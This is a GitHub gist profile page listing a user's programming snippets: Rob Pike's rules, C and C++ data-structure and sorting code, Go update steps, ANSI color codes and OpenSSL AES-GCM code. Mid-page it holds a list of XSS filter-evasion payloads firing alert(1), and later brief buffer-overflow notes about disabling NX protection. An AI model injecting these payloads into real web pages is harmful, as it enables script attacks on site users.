Skip to content

Instantly share code, notes, and snippets.

View winterrdog's full-sized avatar
🏠
looking for hard things

winterrdog winterrdog

🏠
looking for hard things
  • No_such_file_or_directory
  • Earth realm
  • 20:11 (UTC +03:00)
View GitHub Profile
@winterrdog
winterrdog / rob-pikes-programming-rules.md
Last active September 2, 2025 11:39
Some good rules on programming by Rob Pike( he's one of the brilliant men who created Golang along with Ken Thompson ).

Rob Pike's 5 Rules of Programming

These rules, created by Rob Pike, help programmers write better code by keeping things simple and effective. Below, each rule is explained in plain language with examples to show how they work in real coding situations. I read and adapted them for my own understanding from the original site.

Rule 1: Don't Guess Where Code Slows Down

You can't always know which part of your program is slowing things down. Problems often pop up in unexpected places, so don't rush to "fix" the speed until you know exactly where the issue is.

Example Scenario: You're building a website, and it feels slow to load. You might think the image-loading code is the problem, but after checking, you find out the database query is taking too long. Without checking, you'd waste time tweaking the wrong thing.

@winterrdog
winterrdog / list.h
Created June 28, 2024 18:32
linked list exercise in C
// this is a header file. try to implement all the functions herein. Please labor to understand the structure of a node and try to create it on your own!
#ifndef LIST_H
#define LIST_H 1
typedef struct node node;
typedef struct node {
int data;
node *next;
} node;
@winterrdog
winterrdog / merge_sort.cc
Last active June 10, 2024 09:30
mergesort algorithm in C++
#include <iostream>
#include <vector>
/**
* Merges two sorted subarrays of arr[].
* The first subarray is arr[low..mid].
* The second subarray is arr[mid+1..high].
*
* @param arr The array to be sorted.
* @param low The starting index of the first subarray.
@winterrdog
winterrdog / quick_sort.cc
Last active June 8, 2024 17:37
quicksort algorithm in C++
#include <iostream>
#include <vector>
/**
* Partitions the given vector of integers into two parts based on a pivot
* value. The pivot value is chosen as the "first" element of the vector. Elements
* greater than the pivot value are moved to the right side of the pivot, while
* elements less than or equal to the pivot value are moved to the left side.
*
* @param nums The vector of integers to be partitioned.
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
@winterrdog
winterrdog / update-golang.md
Created March 14, 2022 10:50 — forked from nikhita/update-golang.md
How to update the Go version

How to update the Go version

System: Debian/Ubuntu/Fedora. Might work for others as well.

1. Uninstall the exisiting version

As mentioned here, to update a go version you will first need to uninstall the original version.

To uninstall, delete the /usr/local/go directory by:

PROCESS

Considerations when executing a Buffer Overflow

Disable Execution Protection (not needed for Ubuntu18)
Linux NX
[    0.000000] NX (Execute Disable) protection: active

Boot and interrupt the GRUB menu
@winterrdog
winterrdog / ANSI-color-codes.h
Created February 7, 2022 14:03 — forked from RabaDabaDoba/ANSI-color-codes.h
The entire table of ANSI color codes working in C!
/*
* This is free and unencumbered software released into the public domain.
*
* For more information, please refer to <https://unlicense.org>
*/
//Regular text
#define BLK "\e[0;30m"
#define RED "\e[0;31m"
#define GRN "\e[0;32m"
@winterrdog
winterrdog / bash-colors.md
Created February 7, 2022 14:02 — forked from iamnewton/bash-colors.md
The entire table of ANSI color codes.

Regular Colors

Value Color
\e[0;30m Black
\e[0;31m Red
\e[0;32m Green
\e[0;33m Yellow
\e[0;34m Blue
\e[0;35m Purple
@winterrdog
winterrdog / gist:d49be3bac401cf3aaf08dcb796735e4e
Created February 4, 2022 05:11 — forked from eliburke/gist:24f06a1590d572e86a01504e1b38b27f
Encrypt/Decrypt functions for AES 256 GCM using OpenSSL for iPhone
// This is 4 year old code, and I have long since switched to PolarSSL
// But I have no reason to believe it is not still valid and functional
#include <openssl/rand.h>
#include <openssl/ecdsa.h>
#include <openssl/obj_mac.h>
#include <openssl/err.h>
#include <openssl/pem.h>
#include <openssl/evp.h>